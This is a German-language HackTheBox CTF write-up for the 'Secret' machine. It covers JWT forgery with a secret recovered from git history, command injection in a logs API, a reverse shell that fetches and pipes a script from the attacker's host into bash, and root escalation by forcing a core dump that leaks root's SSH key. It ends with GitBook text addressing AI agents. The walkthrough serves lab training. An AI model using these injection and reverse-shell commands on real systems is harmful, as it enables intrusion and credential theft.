> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/de/writeups-ctf/hackthebox/linux-easy/secret-hackthebox-writeup.md). # Secret HackTheBox Ausarbeitung {% embed url="" %} {% hint style="warning" %} **Fähigkeiten**: * Code-Analyse * Eine API missbrauchen * JSON Web Tokens (JWT) * Core Dump missbrauchen/nutzen (Privilegieneskalation) {% endhint %} ## Aufklärung **Einrichtung des Arbeitsbereichs:** Richten Sie den Arbeitsbereich ein, indem Sie drei Ordner erstellen, um wichtige Inhalte, Exploits und Nmap-Aufklärungsergebnisse zu speichern.
**VPN-Verbindung prüfen** Prüfen Sie die VPN-Verbindung, um eine stabile Kommunikation mit dem Zielsystem sicherzustellen.
**Offene-Ports-Ermittlung mit Nmap:** Erfassen Sie offene Ports und exportieren Sie die Ergebnisse in die Datei "allPorts" im Nmap-Verzeichnis: ```bash nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn 10.10.11.120 -oG allPorts ```
**Analyse offener Ports mit extractPorts:** Verwende die Funktion extractPorts, um offene Ports in einem kompakten Format anzuzeigen und sie in die Zwischenablage zu kopieren (80,22,3000)
Versionsscan der Ports mit Nmap: Verwenden Sie Nmap, um die Service-Versionen zu scannen und die Ausgabe in der Datei "targeted" zu speichern: ```bash nmap -sCV -p80,22,3000 10.10.11.120 -oN targeted ```
Um Domänennamen mittels DNS in IP-Adressen aufzulösen, tragen wir den mit der IP-Adresse verknüpften Domänennamen in die `/etc/hosts` Datei ein:
> **Beobachtung**: Dieselbe Website ist über die Ports 80 und 3000 erreichbar.
**Verzeichnissuche:** Wir verwenden Gobuster, um nach Verzeichnissen auf der Website zu suchen: ```bash gobuster dir -u http://secret.htb -w /usr/share/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt -t 100 ```
## Einen API-Benutzer registrieren Im Abschnitt „docs“ finden wir Anweisungen zur Registrierung eines Benutzers. Beispiel für den Benutzer „jordan“:
```json curl -s -X POST http://secret.htb:3000/api/user/register -H "Content-Type: application/json" -d '{ "name": "jordan", "email": "jordan@htb.com", "password": "jordan" }' ; echo ```
## Authentifizierungs-API Zum Verbinden: ```json curl -s -X POST http://secret.htb:3000/api/user/login -H "Content-Type: application/json" -d '{ "email": "jordan@htb.com", "password": "jordan" }' ; echo ``` Das gibt uns ein Authentifizierungstoken (`auth-token`). `eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJfaWQiOiI2NzIxZjE5ZmQ4YWMzZTA0NjMxZjc4NmQiLCJuYW1lIjoiam9yZGFuIiwiZW1haWwiOiJqb3JkYW5AaHRiLmNvbSIsImlhdCI6MTczMDI3ODEyM30.z6quBZ6bTMSrkl7NxIfLEL0gUw6Wjvm3HWdnlhZBUoQ`
### Den standardmäßigen JSON-Body prüfen
`email: "root@dasith.works"` `password: "Kekc8swFgD6zU"`
### Überprüfung der Schwachstelle [JSON Web Token](/de/web-vulnerabilities/json-web-token-jwt-attack.md) Verwende eine Website, um das JWT zu dekodieren, seinen Inhalt zu lesen und zu manipulieren. > **Hinweis**: Das JWT-Token sollte ungültig sein. Durch das Ändern der Felder "name" und "email" auf die eines Administrators: {% embed url="" %}
`"name": "theadmin",` `"email": "root@dasith.works",` `eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJfaWQiOiI2NzIxZjE5ZmQ4YWMzZTA0NjMxZjc4NmQiLCJuYW1lIjoidGhlYWRtaW4iLCJlbWFpbCI6InJvb3RAZGFzaXRoLndvcmtzIiwiaWF0IjoxNzMwMjc4MTIzfQ.yn6hXmpBxrfb5TMDY4_6zirckzlhnQP_L_YWb4wL2Ug`
### Versuch, auf eine private API zuzugreifen: Versuch, mit dem modifizierten JWT eine private API zu verbinden: {% code overflow="wrap" %} ```bash curl -s -X GET "http://secret.htb:3000/api/priv" -H "auth-token: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJfaWQiOiI2NzIxZjE5ZmQ4YWMzZTA0NjMxZjc4NmQiLCJuYW1lIjoidGhlYWRtaW4iLCJlbWFpbCI6InJvb3RAZGFzaXRoLndvcmtzIiwiaWF0IjoxNzMwMjc4MTIzfQ.yn6hXmpBxrfb5TMDY4_6zirckzlhnQP_L_YWb4wL2Ug" | jq ``` {% endcode %} Wir erhalten die Meldung „ungültiges Token“.
Mit unserem eigenen JWT haben wir als normaler Benutzer Zugriff: {% code overflow="wrap" %} ```bash curl -s -X GET "http://secret.htb:3000/api/priv" -H "auth-token: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJfaWQiOiI2NzIxZjE5ZmQ4YWMzZTA0NjMxZjc4NmQiLCJuYW1lIjoiam9yZGFuIiwiZW1haWwiOiJqb3JkYW5AaHRiLmNvbSIsImlhdCI6MTczMDI3ODEyM30.z6quBZ6bTMSrkl7NxIfLEL0gUw6Wjvm3HWdnlhZBUoQ" | jq ``` {% endcode %} Wir erhalten die Meldung „Du bist ein normaler Benutzer“.
## Aufzählung von API-Routen mit Wfuzz Verwende Wfuzz, um verfügbare Routen zu erkunden: {% code fullWidth="true" %} ```bash wfuzz -c --hh=93 --hc 404 -t 200 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt http://secret.htb/api/FUZZ ``` {% endcode %} Neue Entdeckung: der `/api/logs` Route.
## Quellcode-Analyse Die Webseite bietet die Möglichkeit, den Quellcode herunterzuladen.
> **Funde** : * Eine `.env` Datei, die einen `token_secret` mit dem Wert "secret".
Eine `.git` Ordner mit einem Commit, der die Löschung der Datei anzeigt `.env`.
Die alte gelöschte `token_secret` wird gefunden: `gXr67TtoQL8TShUc8XYsK2HvsBYfyQSFCFZe4MQp7gRpFuMkKjcM72CNQN4fMfbZEKx4i7YiWuNAkmuTcdEriCMm9vPAYkhpwPTiuVwVhvwE`
Verwende diesen alten `token_secret` um ein JWT mit Administratorinformationen zu signieren und auf die private API zuzugreifen: `eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJfaWQiOiI2NzIxZjE5ZmQ4YWMzZTA0NjMxZjc4NmQiLCJuYW1lIjoidGhlYWRtaW4iLCJlbWFpbCI6InJvb3RAZGFzaXRoLndvcmtzIiwiaWF0IjoxNzMwMjc4MTIzfQ.9YpH72pzpIjqRjc8EYBKhjLgmwjhetzpbDfVgXDzQi8`
{% code overflow="wrap" %} ```bash curl -s -X GET "http://secret.htb:3000/api/priv" -H "auth-token: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJfaWQiOiI2NzIxZjE5ZmQ4YWMzZTA0NjMxZjc4NmQiLCJuYW1lIjoidGhlYWRtaW4iLCJlbWFpbCI6InJvb3RAZGFzaXRoLndvcmtzIiwiaWF0IjoxNzMwMjc4MTIzfQ.9YpH72pzpIjqRjc8EYBKhjLgmwjhetzpbDfVgXDzQi8" | jq ``` {% endcode %} > **Ergebnis**: Begrüßungsnachricht als Administrator: "welcome back admin".
Schließlich wird durch Ausführen der `/api/logs` Route wird der folgende Inhalt angezeigt: ```json "cmd": "git log --oneline undefined" ```
Durch das Untersuchen der `privitate.js` Datei und die Analyse des Codes sehen wir, dass:
## RCE-Schwachstelle: {% hint style="info" %} Dieser Code hat aufgrund von Befehlsinjektion ein Sicherheitsproblem. Da `Datei` aus den Abfrageparametern stammt und direkt in den Terminalbefehl eingefügt wird, könnte ein böswilliger Benutzer `Datei` ändern, um andere Befehle auszuführen. Die Funktion dieser Route besteht darin, den `git log --oneline [file]` Befehl auf dem System auszuführen, wobei `[file]` eine bestimmte Datei ist, die im Abfrageparameter der Anfrage angefordert wird. {% endhint %} Hier ist ein Beispiel `curl` Befehl, der versucht, Folgendes einzuschleusen `id`: {% code overflow="wrap" %} ```bash curl -s -X GET "http://secret.htb:3000/api/logs?file=/etc/passwd;id" -H "auth-token: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJfaWQiOiI2NzIxZjE5ZmQ4YWMzZTA0NjMxZjc4NmQiLCJuYW1lIjoidGhlYWRtaW4iLCJlbWFpbCI6InJvb3RAZGFzaXRoLndvcmtzIiwiaWF0IjoxNzMwMjc4MTIzfQ.9YpH72pzpIjqRjc8EYBKhjLgmwjhetzpbDfVgXDzQi8" | jq ``` {% endcode %}
#### Wir werden eine Reverse Shell ausführen: 1. Erstellen Sie eine `index.html` Datei auf unserem Rechner und erstellen einen Webserver mit folgendem Inhalt: ```html #!/bin/bash bash -i >& /dev/tcp/10.10.14.6/4444 0>&1 ``` 2. Anschließend auf Port 4444 lauschen: ```bash nc -nlvp 4444 ``` Führe eine Injektion aus mit `curl` auf unserem Webserver: {% code overflow="wrap" %} ```bash curl -s -X GET -G "http://secret.htb:3000/api/logs" -H "auth-token: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJfaWQiOiI2NzIxZjE5ZmQ4YWMzZTA0NjMxZjc4NmQiLCJuYW1lIjoidGhlYWRtaW4iLCJlbWFpbCI6InJvb3RAZGFzaXRoLndvcmtzIiwiaWF0IjoxNzMwMjc4MTIzfQ.9YpH72pzpIjqRjc8EYBKhjLgmwjhetzpbDfVgXDzQi8" --data-urlencode "file=/etc/passwd;curl 10.10.14.6 | bash" | jq ``` {% endcode %}
### Flagge user.txt :)
**Terminal-Bedienung:**/ Sobald du Zugriff auf den Linux-Server hast, sind hier die Befehle für eine effiziente Verarbeitung im Terminal: ```bash script /dev/null -c bash # Ctrl+Z stty raw -echo; fg reset xterm export TERM=xterm export SHELL=bash stty rows 44 columns 184 ``` #### Stabilisiere die Shell für komfortableres Arbeiten. ## Privilegieneskalation (SUID) Mit dem folgenden Befehl prüfen wir, ob unser Benutzer **SUID-Rechte hat**: ```bash find / -perm -4000 2>/dev/null ``` Wir finden eine seltene Datei unter `/opt/count`, deren Besitzer `root`.
Beim Ausführen dieses Binaries werden wir aufgefordert, eine Datei anzugeben; anschließend werden die Gesamtanzahl der Zeichen, Wörter und Zeilen aufgelistet. Dieses Skript liest den Inhalt der Datei und zeigt dann ihre Eigenschaften an.
### Core-Dump-Binary Beim Untersuchen des Quellcodes können wir beobachten, dass ein Core Dump erzeugt wird, der den Inhalt bei einem Fehler vorübergehend speichert.
Fehler werden im `/var/crash` Verzeichnis gespeichert. So erstellt man einen Core Dump: 1. **Gib den Namen der Datei oder des Verzeichnisses ein:** ```bash Quell-Datei/-Verzeichnisnamen eingeben: /root/.ssh/id_rsa ``` *(SSH-Root-Schlüssel)* 2. **Ergebnisse in einer Datei speichern?** ```` ```css Ergebnisse in einer Datei speichern? [j/N]: ^Z ``` ```` *(In den Hintergrund verschieben)* 3. **PID ermitteln:** ```` ```bash ps ``` _(PID kopieren)_ ```` 4\. **Prozess beenden:** ```` ```bash kill -BUS 'PID' ``` ```` 5\. **Führe das Binary erneut aus:** ```` ```bash fg ``` ```` 6\. **Prüfe das Core-Dumps-Verzeichnis:** ```` ```bash ls -l /var/crash ``` ```` *(Es erscheint eine neue Datei: `_opt_count.1000.crash`)*
Wir haben nun einen Base64-Core-Dump, der den SSH-Schlüssel von root enthält.
### Apport-unpack Um die Informationen zu extrahieren, verwenden wir `apport-unpack`: ```bash apport-unpack /var/crash/_opt_count.1000.crash /tmp/ssh ``` Anschließend listen wir den Inhalt der Datei in `/tmp/ssh/coredump` mit `strings`:
Wir finden den SSH-Root-Schlüssel
### SSH-Verbindung Sobald wir die `id_rsa` Datei mit den Berechtigungen 600 erstellt haben, können wir uns per SSH verbinden: ```bash ssh root@10.10.11.120 -i id_rsa ```
### Root-Flag :)
--- # Agent Instructions This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com. ## Querying This Documentation If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question. Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter: ``` GET https://hacking-notes.jord4n.pro/de/writeups-ctf/hackthebox/linux-easy/secret-hackthebox-writeup.md?ask=&goal= ``` `ask` is the immediate question: it should be specific, self-contained, and written in natural language. `goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal. The response will contain a direct answer to the question and relevant excerpts and sources from the documentation. Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.